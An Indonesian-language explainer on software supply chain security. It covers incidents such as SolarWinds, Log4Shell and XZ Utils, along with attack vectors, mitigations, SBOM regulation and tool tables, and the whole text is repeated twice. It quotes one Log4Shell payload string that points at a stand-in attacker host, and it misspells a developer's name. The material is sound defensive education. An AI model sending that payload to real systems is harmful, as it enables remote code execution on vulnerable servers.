Entri Jurnal
Software Supply Chain Failures adalah kegagalan dalam mengamankan seluruh rantai pengiriman software — mulai dari library dan framework pihak ketiga yang digunakan, tools yang digunakan untuk membangun aplikasi, pipeline CI/CD yang mengotomasi proses build dan deploy, hingga mekanisme distribusi dan update software.
Perluasan nama dari "Vulnerable and Outdated Components" ke "Software Supply Chain Failures" bukan sekadar rebranding. Ini adalah pengakuan bahwa ancaman modern tidak lagi hanya tentang menggunakan komponen yang sudah diketahui rentan — melainkan tentang seluruh rantai kepercayaan dalam proses pengembangan dan distribusi software.
Dalam bahasa bisnis: ketika Anda menggunakan software — baik yang dibeli, yang diunduh, atau yang dibangun sendiri menggunakan library open-source — Anda secara implisit mempercayai seluruh rantai yang menghasilkannya. Software Supply Chain Failures terjadi ketika kepercayaan itu dieksploitasi pada titik mana pun dalam rantai tersebut.
Kategori ini telah mengalami evolusi yang mencerminkan perubahan lanskap ancaman yang paling dramatis dalam dekade terakhir:
2013 — Peringatan Awal
OWASP pertama kali memasukkan "Using Components with Known Vulnerabilities" — fokus pada library dan framework dengan CVE yang sudah diketahui namun tidak di-patch. Peringatan yang diabaikan oleh sebagian besar industri selama bertahun-tahun.
2017 — Mulai Diakui
Kategori ini naik posisi seiring insiden-insiden besar yang melibatkan komponen open-source. Struts vulnerability yang menghancurkan Equifax terjadi tahun yang sama.
2020–2021 — Titik Balik: SolarWinds
Serangan SolarWinds mengubah cara dunia memandang supply chain security selamanya. Penyerang berhasil menyisipkan kode berbahaya ke dalam proses build software yang sah — bukan ke kode sumber, bukan ke komponen pihak ketiga, tetapi ke infrastruktur build itu sendiri. 18.000 organisasi mengunduh update yang sudah terkontaminasi.
2021 — Log4Shell: Peringatan yang Tidak Bisa Diabaikan
Log4j adalah library Java yang digunakan oleh ratusan ribu aplikasi. Satu kerentanan kritis (CVE-2021-44228) memungkinkan Remote Code Execution dengan mengirimkan satu string teks. Organisasi di seluruh dunia berlomba menambal dalam kepanikan — banyak yang bahkan tidak tahu mereka menggunakan Log4j karena ada dalam dependency transitif yang tidak terdokumentasi.
2024–2025 — XZ Utils dan Normalisasi Serangan
XZ Utils backdoor (2024) — seorang aktor jahat yang selama dua tahun berkontribusi pada proyek open-source dan mendapatkan kepercayaan maintainer, kemudian menyisipkan backdoor ke dalam versi rilis. Ini adalah serangan paling canggih terhadap supply chain open-source yang pernah ditemukan, dan hampir tidak terdeteksi.
Data terbaru: serangan supply chain meningkat dari 13 insiden per bulan di awal 2024 menjadi lebih dari 41 insiden per bulan pada Oktober 2025 — rekor tertinggi sepanjang masa.
Library dan framework yang secara eksplisit disebutkan dalam file dependency proyek (package.json, requirements.txt, pom.xml, go.mod). Ini adalah layer yang paling terlihat dan paling mudah di-track.
Library yang digunakan oleh library yang Anda gunakan — dependency dari dependency. Rata-rata aplikasi Node.js modern memiliki lebih dari 1.000 transitive dependencies. Log4j adalah contoh klasik: banyak organisasi tidak tahu mereka menggunakannya karena ia tersembunyi di dalam transitive dependency.
Tools yang digunakan dalam proses development: compiler, linter, test runner, build tools. Jika tools ini dikompromikan, seluruh output yang mereka hasilkan berpotensi terkontaminasi.
Jenkins, GitHub Actions, GitLab CI, CircleCI — semua adalah bagian dari supply chain. Kompromi pada sistem CI/CD dapat menyisipkan kode berbahaya ke dalam setiap build tanpa mengubah satu baris pun di repository kode sumber.
Dockerfile yang menggunakan base image latest dari registry publik mengambil apapun yang ada di sana — termasuk image yang sudah dikompromikan atau mengandung komponen rentan.
Terraform modules, Helm charts, dan Ansible roles dari sumber eksternal juga merupakan bagian supply chain yang sering diabaikan.
SDK payment gateway, analytics, customer support, dan layanan lainnya yang diintegrasikan ke dalam aplikasi — masing-masing membawa supply chain mereka sendiri.
Penyerang mempublikasikan package berbahaya di registry publik (npm, PyPI) dengan nama yang sama dengan package internal privat organisasi. Jika sistem build dikonfigurasi untuk mengecek registry publik terlebih dahulu, package berbahaya bisa ter-install.
Package berbahaya dengan nama yang sangat mirip dengan package populer — lodash vs l0dash, requests vs reqeusts. Memanfaatkan kesalahan ketik developer.
Mengambil alih akun maintainer package populer melalui phishing atau credential stuffing, kemudian menerbitkan versi baru yang mengandung kode berbahaya.
Seperti kasus XZ Utils — menyisipkan kode berbahaya ke dalam package yang sah melalui kontribusi jangka panjang yang membangun kepercayaan.
Mengkompromikan sistem CI/CD untuk menyisipkan kode berbahaya ke dalam build artifacts tanpa mengubah kode sumber.
Mengambil alih package yang sudah abandoned (tidak lagi dipelihara) namun masih digunakan oleh banyak proyek.
Eksposur Masif dan Tidak Terencana
Satu kerentanan dalam satu library dapat secara bersamaan mempengaruhi semua aplikasi yang menggunakannya — baik langsung maupun tidak langsung. Tidak seperti bug custom code yang terisolasi, kerentanan supply chain bersifat horizontal.
Kepanikan Patching
Ketika kerentanan kritis seperti Log4Shell diumumkan, organisasi yang tidak memiliki inventaris dependency yang baik terpaksa melakukan audit darurat — seringkali dalam tekanan waktu yang ekstrem sambil ancaman dieksploitasi secara aktif.
Kompromi yang Tidak Terdeteksi
Serangan supply chain yang paling canggih (SolarWinds, XZ Utils) dapat bertahan selama berbulan-bulan hingga bertahun-tahun tanpa terdeteksi karena berasal dari software yang dianggap tepercaya.
Liability Hukum
Menggunakan komponen dengan lisensi yang tidak kompatibel atau yang memiliki kerentanan yang diketahui dapat menciptakan kewajiban hukum — terutama jika terjadi breach yang dapat ditelusuri ke komponen tersebut.
Reputasi dan Kepercayaan Pelanggan
Ketika pelanggan mengetahui bahwa breach terjadi karena komponen pihak ketiga yang tidak di-update, pertanyaan tentang due diligence keamanan menjadi tidak terelakkan.
SolarWinds Orion (2020)
Supply chain attack paling signifikan dalam sejarah. Penyerang yang dikaitkan dengan SVR Rusia berhasil menyusup ke proses build SolarWinds Orion dan menyisipkan backdoor SUNBURST ke dalam update yang sah. 18.000 organisasi mengunduh update tersebut, termasuk departemen-departemen utama pemerintah AS dan perusahaan Fortune 500. Dampak masih terasa bertahun-tahun kemudian.
Log4Shell (Desember 2021)
CVE-2021-44228 pada Apache Log4j 2. CVSS score: 10.0 (maksimum). Kerentanan yang memungkinkan Remote Code Execution hanya dengan mengirimkan string ${jndi:ldap://attacker.com/a} di field apapun yang di-log. Lebih dari 40% jaringan korporat global terdampak dalam 72 jam pertama. Banyak vendor besar butuh berbulan-bulan untuk mengidentifikasi semua sistem yang terdampak karena Log4j tersembunyi dalam transitive dependencies.
XZ Utils Backdoor (Maret 2024)
"Jia Tan" (nama samaran) selama dua tahun berkontribusi aktif pada proyek XZ Utils, membangun reputasi sebagai maintainer yang dipercaya, kemudian menyisipkan backdoor canggih yang menargetkan SSH daemon. Ditemukan secara tidak sengaja oleh engineer Microsoft yang memperhatikan anomali performa. Jika tidak ditemukan, backdoor ini bisa memberikan akses tidak sah ke jutaan server Linux.
Codecov Supply Chain Attack (2021)
Tools coverage testing Codecov dikompromikan. Skrip upload mereka dimodifikasi untuk mengekstrak environment variables dari CI/CD pipeline pengguna — termasuk API keys, credentials cloud, dan token akses ke repository kode.
npm Package Colors dan Faker (2022)
Developer Marak Squiress sengaja merusak packagenya sendiri (colors.js dan faker.js) yang diunduh jutaan kali per minggu sebagai protes terhadap perusahaan besar yang menggunakan software open-source tanpa berkontribusi balik.
Software Bill of Materials (SBOM)
Buat dan pertahankan inventaris lengkap semua komponen software yang digunakan — langsung maupun transitive. SBOM adalah fondasi dari semua langkah mitigasi lainnya. Format standar: CycloneDX dan SPDX.
Software Composition Analysis (SCA)
Tools yang secara otomatis memindai dependency terhadap database CVE dan memberikan alert ketika kerentanan baru ditemukan. Integrasikan ke CI/CD pipeline dan set threshold yang jelas untuk blocking vs warning.
Pin Dependency Versions
Gunakan version pinning (lock files: package-lock.json, poetry.lock, Pipfile.lock) untuk memastikan build reproducible dan tidak secara tidak sengaja mengambil versi baru yang mungkin dikompromikan.
Verify Package Integrity
Verifikasi checksum dan signature kriptografis dari semua package yang diunduh. Gunakan package registry private yang di-mirror dari registry publik dengan pemindaian keamanan.
SLSA Framework (Supply chain Levels for Software Artifacts)
Framework dari Google yang mendefinisikan level jaminan integritas supply chain dari Level 1 (dokumentasi proses build) hingga Level 4 (build hermetic yang sepenuhnya dapat diverifikasi).
Secure CI/CD Pipeline
Lindungi sistem CI/CD dengan MFA, least privilege, secret scanning, dan audit logging. Gunakan ephemeral build environments. Tandatangani semua build artifacts secara kriptografis.
Patch Management yang Sistematis
Tetapkan SLA patching berdasarkan CVSS score: Critical (< 24 jam untuk eksploitasi aktif), High (< 7 hari), Medium (< 30 hari). Otomasi alert untuk CVE baru pada dependency yang digunakan.
Vendor Risk Assessment
Untuk komponen komersial, evaluasi program keamanan vendor secara berkala. Tanyakan tentang SBOM mereka, proses vulnerability disclosure, dan SLA patching.
Trend global yang semakin jelas: SBOM bergerak dari best practice menjadi kewajiban regulatoris:
US Executive Order on Cybersecurity (2021) — Mewajibkan SBOM untuk software yang dijual ke pemerintah AS
EU Cyber Resilience Act (2024) — Mewajibkan SBOM untuk produk digital yang dijual di Uni Eropa
NTIA Minimum Elements for SBOM — Mendefinisikan standar minimum konten SBOM
Di Indonesia, persyaratan SBOM eksplisit belum ada dalam regulasi — namun tren global ini akan mempengaruhi ekspektasi audit dan procurement enterprise dalam beberapa tahun ke depan.
Tool / Framework | Fungsi | Ketersediaan |
|---|---|---|
OWASP Dependency-Check | SCA untuk Java, .NET, Python, dll. | Open-source |
OWASP Dependency-Track | Platform manajemen SBOM dan SCA | Open-source |
Snyk | SCA + container security | Commercial / Free tier |
GitHub Dependabot | Automated dependency updates | Free (GitHub) |
Trivy | SCA + container + IaC scanning | Open-source |
Grype | Vulnerability scanner untuk container | Open-source |
Syft | SBOM generator | Open-source |
Sigstore / Cosign | Penandatanganan kriptografis artifacts | Open-source |
SLSA Framework | Supply chain integrity levels | Framework (Google) |
Kategori | Vendor / Solusi | Kehadiran Indonesia |
|---|---|---|
SCA Platform | Snyk | ❌ Belum ada lokal |
SCA Platform | Black Duck (Synopsys) | ⚠️ Tier 3 |
SCA Embedded | GitHub Advanced Security | ✅ via GitHub |
SCA Embedded | GitLab Dependency Scanning | ✅ via GitLab |
Container Security | Palo Alto Prisma Cloud | ✅ Tier 1 |
Container Security | Trend Micro Cloud One | ✅ Tier 1 |
SBOM Management | OWASP Dependency-Track | Open-source |
Vulnerability DB | NVD / OSV | Free / Public |
AppSec Platform | Checkmarx (SCA module) | ⚠️ Tier 3 |
Consulting | IBM Security, Accenture Security | ✅ Tier 1/2 |
Catatan Indonesia: SCA masih sangat jarang diimplementasikan secara formal oleh perusahaan Indonesia. Kebanyakan tim development tidak memiliki visibilitas atas transitive dependencies mereka — berarti jika Log4Shell terjadi hari ini, mayoritas organisasi Indonesia akan menghadapi situasi yang sama: tidak tahu di mana saja library tersebut digunakan.
Entri Jurnal
Software Supply Chain Failures adalah kegagalan dalam mengamankan seluruh rantai pengiriman software — mulai dari library dan framework pihak ketiga yang digunakan, tools yang digunakan untuk membangun aplikasi, pipeline CI/CD yang mengotomasi proses build dan deploy, hingga mekanisme distribusi dan update software.
Perluasan nama dari "Vulnerable and Outdated Components" ke "Software Supply Chain Failures" bukan sekadar rebranding. Ini adalah pengakuan bahwa ancaman modern tidak lagi hanya tentang menggunakan komponen yang sudah diketahui rentan — melainkan tentang seluruh rantai kepercayaan dalam proses pengembangan dan distribusi software.
Dalam bahasa bisnis: ketika Anda menggunakan software — baik yang dibeli, yang diunduh, atau yang dibangun sendiri menggunakan library open-source — Anda secara implisit mempercayai seluruh rantai yang menghasilkannya. Software Supply Chain Failures terjadi ketika kepercayaan itu dieksploitasi pada titik mana pun dalam rantai tersebut.
Kategori ini telah mengalami evolusi yang mencerminkan perubahan lanskap ancaman yang paling dramatis dalam dekade terakhir:
2013 — Peringatan Awal
OWASP pertama kali memasukkan "Using Components with Known Vulnerabilities" — fokus pada library dan framework dengan CVE yang sudah diketahui namun tidak di-patch. Peringatan yang diabaikan oleh sebagian besar industri selama bertahun-tahun.
2017 — Mulai Diakui
Kategori ini naik posisi seiring insiden-insiden besar yang melibatkan komponen open-source. Struts vulnerability yang menghancurkan Equifax terjadi tahun yang sama.
2020–2021 — Titik Balik: SolarWinds
Serangan SolarWinds mengubah cara dunia memandang supply chain security selamanya. Penyerang berhasil menyisipkan kode berbahaya ke dalam proses build software yang sah — bukan ke kode sumber, bukan ke komponen pihak ketiga, tetapi ke infrastruktur build itu sendiri. 18.000 organisasi mengunduh update yang sudah terkontaminasi.
2021 — Log4Shell: Peringatan yang Tidak Bisa Diabaikan
Log4j adalah library Java yang digunakan oleh ratusan ribu aplikasi. Satu kerentanan kritis (CVE-2021-44228) memungkinkan Remote Code Execution dengan mengirimkan satu string teks. Organisasi di seluruh dunia berlomba menambal dalam kepanikan — banyak yang bahkan tidak tahu mereka menggunakan Log4j karena ada dalam dependency transitif yang tidak terdokumentasi.
2024–2025 — XZ Utils dan Normalisasi Serangan
XZ Utils backdoor (2024) — seorang aktor jahat yang selama dua tahun berkontribusi pada proyek open-source dan mendapatkan kepercayaan maintainer, kemudian menyisipkan backdoor ke dalam versi rilis. Ini adalah serangan paling canggih terhadap supply chain open-source yang pernah ditemukan, dan hampir tidak terdeteksi.
Data terbaru: serangan supply chain meningkat dari 13 insiden per bulan di awal 2024 menjadi lebih dari 41 insiden per bulan pada Oktober 2025 — rekor tertinggi sepanjang masa.
Library dan framework yang secara eksplisit disebutkan dalam file dependency proyek (package.json, requirements.txt, pom.xml, go.mod). Ini adalah layer yang paling terlihat dan paling mudah di-track.
Library yang digunakan oleh library yang Anda gunakan — dependency dari dependency. Rata-rata aplikasi Node.js modern memiliki lebih dari 1.000 transitive dependencies. Log4j adalah contoh klasik: banyak organisasi tidak tahu mereka menggunakannya karena ia tersembunyi di dalam transitive dependency.
Tools yang digunakan dalam proses development: compiler, linter, test runner, build tools. Jika tools ini dikompromikan, seluruh output yang mereka hasilkan berpotensi terkontaminasi.
Jenkins, GitHub Actions, GitLab CI, CircleCI — semua adalah bagian dari supply chain. Kompromi pada sistem CI/CD dapat menyisipkan kode berbahaya ke dalam setiap build tanpa mengubah satu baris pun di repository kode sumber.
Dockerfile yang menggunakan base image latest dari registry publik mengambil apapun yang ada di sana — termasuk image yang sudah dikompromikan atau mengandung komponen rentan.
Terraform modules, Helm charts, dan Ansible roles dari sumber eksternal juga merupakan bagian supply chain yang sering diabaikan.
SDK payment gateway, analytics, customer support, dan layanan lainnya yang diintegrasikan ke dalam aplikasi — masing-masing membawa supply chain mereka sendiri.
Penyerang mempublikasikan package berbahaya di registry publik (npm, PyPI) dengan nama yang sama dengan package internal privat organisasi. Jika sistem build dikonfigurasi untuk mengecek registry publik terlebih dahulu, package berbahaya bisa ter-install.
Package berbahaya dengan nama yang sangat mirip dengan package populer — lodash vs l0dash, requests vs reqeusts. Memanfaatkan kesalahan ketik developer.
Mengambil alih akun maintainer package populer melalui phishing atau credential stuffing, kemudian menerbitkan versi baru yang mengandung kode berbahaya.
Seperti kasus XZ Utils — menyisipkan kode berbahaya ke dalam package yang sah melalui kontribusi jangka panjang yang membangun kepercayaan.
Mengkompromikan sistem CI/CD untuk menyisipkan kode berbahaya ke dalam build artifacts tanpa mengubah kode sumber.
Mengambil alih package yang sudah abandoned (tidak lagi dipelihara) namun masih digunakan oleh banyak proyek.
Eksposur Masif dan Tidak Terencana
Satu kerentanan dalam satu library dapat secara bersamaan mempengaruhi semua aplikasi yang menggunakannya — baik langsung maupun tidak langsung. Tidak seperti bug custom code yang terisolasi, kerentanan supply chain bersifat horizontal.
Kepanikan Patching
Ketika kerentanan kritis seperti Log4Shell diumumkan, organisasi yang tidak memiliki inventaris dependency yang baik terpaksa melakukan audit darurat — seringkali dalam tekanan waktu yang ekstrem sambil ancaman dieksploitasi secara aktif.
Kompromi yang Tidak Terdeteksi
Serangan supply chain yang paling canggih (SolarWinds, XZ Utils) dapat bertahan selama berbulan-bulan hingga bertahun-tahun tanpa terdeteksi karena berasal dari software yang dianggap tepercaya.
Liability Hukum
Menggunakan komponen dengan lisensi yang tidak kompatibel atau yang memiliki kerentanan yang diketahui dapat menciptakan kewajiban hukum — terutama jika terjadi breach yang dapat ditelusuri ke komponen tersebut.
Reputasi dan Kepercayaan Pelanggan
Ketika pelanggan mengetahui bahwa breach terjadi karena komponen pihak ketiga yang tidak di-update, pertanyaan tentang due diligence keamanan menjadi tidak terelakkan.
SolarWinds Orion (2020)
Supply chain attack paling signifikan dalam sejarah. Penyerang yang dikaitkan dengan SVR Rusia berhasil menyusup ke proses build SolarWinds Orion dan menyisipkan backdoor SUNBURST ke dalam update yang sah. 18.000 organisasi mengunduh update tersebut, termasuk departemen-departemen utama pemerintah AS dan perusahaan Fortune 500. Dampak masih terasa bertahun-tahun kemudian.
Log4Shell (Desember 2021)
CVE-2021-44228 pada Apache Log4j 2. CVSS score: 10.0 (maksimum). Kerentanan yang memungkinkan Remote Code Execution hanya dengan mengirimkan string ${jndi:ldap://attacker.com/a} di field apapun yang di-log. Lebih dari 40% jaringan korporat global terdampak dalam 72 jam pertama. Banyak vendor besar butuh berbulan-bulan untuk mengidentifikasi semua sistem yang terdampak karena Log4j tersembunyi dalam transitive dependencies.
XZ Utils Backdoor (Maret 2024)
"Jia Tan" (nama samaran) selama dua tahun berkontribusi aktif pada proyek XZ Utils, membangun reputasi sebagai maintainer yang dipercaya, kemudian menyisipkan backdoor canggih yang menargetkan SSH daemon. Ditemukan secara tidak sengaja oleh engineer Microsoft yang memperhatikan anomali performa. Jika tidak ditemukan, backdoor ini bisa memberikan akses tidak sah ke jutaan server Linux.
Codecov Supply Chain Attack (2021)
Tools coverage testing Codecov dikompromikan. Skrip upload mereka dimodifikasi untuk mengekstrak environment variables dari CI/CD pipeline pengguna — termasuk API keys, credentials cloud, dan token akses ke repository kode.
npm Package Colors dan Faker (2022)
Developer Marak Squiress sengaja merusak packagenya sendiri (colors.js dan faker.js) yang diunduh jutaan kali per minggu sebagai protes terhadap perusahaan besar yang menggunakan software open-source tanpa berkontribusi balik.
Software Bill of Materials (SBOM)
Buat dan pertahankan inventaris lengkap semua komponen software yang digunakan — langsung maupun transitive. SBOM adalah fondasi dari semua langkah mitigasi lainnya. Format standar: CycloneDX dan SPDX.
Software Composition Analysis (SCA)
Tools yang secara otomatis memindai dependency terhadap database CVE dan memberikan alert ketika kerentanan baru ditemukan. Integrasikan ke CI/CD pipeline dan set threshold yang jelas untuk blocking vs warning.
Pin Dependency Versions
Gunakan version pinning (lock files: package-lock.json, poetry.lock, Pipfile.lock) untuk memastikan build reproducible dan tidak secara tidak sengaja mengambil versi baru yang mungkin dikompromikan.
Verify Package Integrity
Verifikasi checksum dan signature kriptografis dari semua package yang diunduh. Gunakan package registry private yang di-mirror dari registry publik dengan pemindaian keamanan.
SLSA Framework (Supply chain Levels for Software Artifacts)
Framework dari Google yang mendefinisikan level jaminan integritas supply chain dari Level 1 (dokumentasi proses build) hingga Level 4 (build hermetic yang sepenuhnya dapat diverifikasi).
Secure CI/CD Pipeline
Lindungi sistem CI/CD dengan MFA, least privilege, secret scanning, dan audit logging. Gunakan ephemeral build environments. Tandatangani semua build artifacts secara kriptografis.
Patch Management yang Sistematis
Tetapkan SLA patching berdasarkan CVSS score: Critical (< 24 jam untuk eksploitasi aktif), High (< 7 hari), Medium (< 30 hari). Otomasi alert untuk CVE baru pada dependency yang digunakan.
Vendor Risk Assessment
Untuk komponen komersial, evaluasi program keamanan vendor secara berkala. Tanyakan tentang SBOM mereka, proses vulnerability disclosure, dan SLA patching.
Trend global yang semakin jelas: SBOM bergerak dari best practice menjadi kewajiban regulatoris:
US Executive Order on Cybersecurity (2021) — Mewajibkan SBOM untuk software yang dijual ke pemerintah AS
EU Cyber Resilience Act (2024) — Mewajibkan SBOM untuk produk digital yang dijual di Uni Eropa
NTIA Minimum Elements for SBOM — Mendefinisikan standar minimum konten SBOM
Di Indonesia, persyaratan SBOM eksplisit belum ada dalam regulasi — namun tren global ini akan mempengaruhi ekspektasi audit dan procurement enterprise dalam beberapa tahun ke depan.
Tool / Framework | Fungsi | Ketersediaan |
|---|---|---|
OWASP Dependency-Check | SCA untuk Java, .NET, Python, dll. | Open-source |
OWASP Dependency-Track | Platform manajemen SBOM dan SCA | Open-source |
Snyk | SCA + container security | Commercial / Free tier |
GitHub Dependabot | Automated dependency updates | Free (GitHub) |
Trivy | SCA + container + IaC scanning | Open-source |
Grype | Vulnerability scanner untuk container | Open-source |
Syft | SBOM generator | Open-source |
Sigstore / Cosign | Penandatanganan kriptografis artifacts | Open-source |
SLSA Framework | Supply chain integrity levels | Framework (Google) |
Kategori | Vendor / Solusi | Kehadiran Indonesia |
|---|---|---|
SCA Platform | Snyk | ❌ Belum ada lokal |
SCA Platform | Black Duck (Synopsys) | ⚠️ Tier 3 |
SCA Embedded | GitHub Advanced Security | ✅ via GitHub |
SCA Embedded | GitLab Dependency Scanning | ✅ via GitLab |
Container Security | Palo Alto Prisma Cloud | ✅ Tier 1 |
Container Security | Trend Micro Cloud One | ✅ Tier 1 |
SBOM Management | OWASP Dependency-Track | Open-source |
Vulnerability DB | NVD / OSV | Free / Public |
AppSec Platform | Checkmarx (SCA module) | ⚠️ Tier 3 |
Consulting | IBM Security, Accenture Security | ✅ Tier 1/2 |
Catatan Indonesia: SCA masih sangat jarang diimplementasikan secara formal oleh perusahaan Indonesia. Kebanyakan tim development tidak memiliki visibilitas atas transitive dependencies mereka — berarti jika Log4Shell terjadi hari ini, mayoritas organisasi Indonesia akan menghadapi situasi yang sama: tidak tahu di mana saja library tersebut digunakan.